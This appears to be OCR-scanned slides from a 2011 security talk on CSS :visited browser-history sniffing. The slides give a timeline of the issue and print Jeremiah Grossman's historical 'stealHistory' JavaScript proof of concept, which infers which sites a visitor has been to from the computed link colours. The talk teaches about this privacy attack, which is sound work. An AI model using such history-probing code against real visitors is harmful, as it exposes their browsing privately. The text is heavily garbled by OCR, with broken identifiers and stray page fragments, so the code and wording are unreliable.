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History

May 2002:

Aug 2006:

2006-2009:

2009:

Apr 2010:

Feb 2011:

e‘ SECU§T§

creation of bug #147777 ":visited support allows
queries into global history”

PoC by Jeremiah Grossman hosted by RSnake on
ha.ckers.org

Issue pops up on a regular basis, without browser
vendors doing anything (but pointing to CSS’s specs)

Examples of websites using this technic to ban or alter
the rendering multiplies

Firefox and WebKit announce changes in the way they
handle CSS :visited styles

Microsoft announces it will also import restrictions on
CSS to limit this issue in IE 9 RC



History (continued)
SECURITY

Dec 2011: lcamtuf publishes a new PoC based on cache timing
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How did it work back in 2002-20107? e‘ SS

SECURITY

function stealHistory() {

// loop through websites and check which ones have been visited
for (vari = 0; i < websites.length; i++) {
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites]i];
link.innerHTML = websites][i];
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);

// check for visited
if (color == "rgb(0, 0, 255)") {
document.write('' + websites|[i] + '');
} // end visited check

} // end visited website loop

} // end stealHistory method

Source: http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
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How did it work back in 2002-20107?
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FileBox Login
Offene Stelle

Swiss Ethical Hacking & Penetration Testing

P iimg_460616585

HTMLS5 Web Security
12/7/11 - HTML5 Security
Research Report

'

Review BlackHat /
Defcon 2011

11/8/11 - This year, as
every year, two security
analysts of Compass
Security AG participated in
the BlackHat and Defcon in
Las Vegas.

M

Oracle RDC Onsite XSS
Vulnerability

10/18/11 - Compass
Security has found a
vulnerability in ORACLE
RDC ONSITE.

Compass Security AG We are seeking a Senior IT Security Analyst

n/Jobs
Ethical Hacking, Penetration Testing and Security Reviews is our core competence! We are

searching and disclosing vulnerabilities which can be exploited by hackers. We understand ourselves
as technology provider and applied researchers, in order to perform latest hacking methods and

Course Schedule -
New iPhone & iPad
Hands-On course
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>>> var t

decument.ge...e.leg{"Size of image:",

t.width);

Size of image: 175px x 242px

var t window.getComputedStyle (

Persist  Profile ||
Q document.getElementById("iimg 460616585")

All| Errors Warnings Info Debut

window.getComputedStyle |
)i

console.log("Size of image:", t.height,

t_height,

nxn’

"x",. t.width):
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How does it work now (Dec 2011)? e‘
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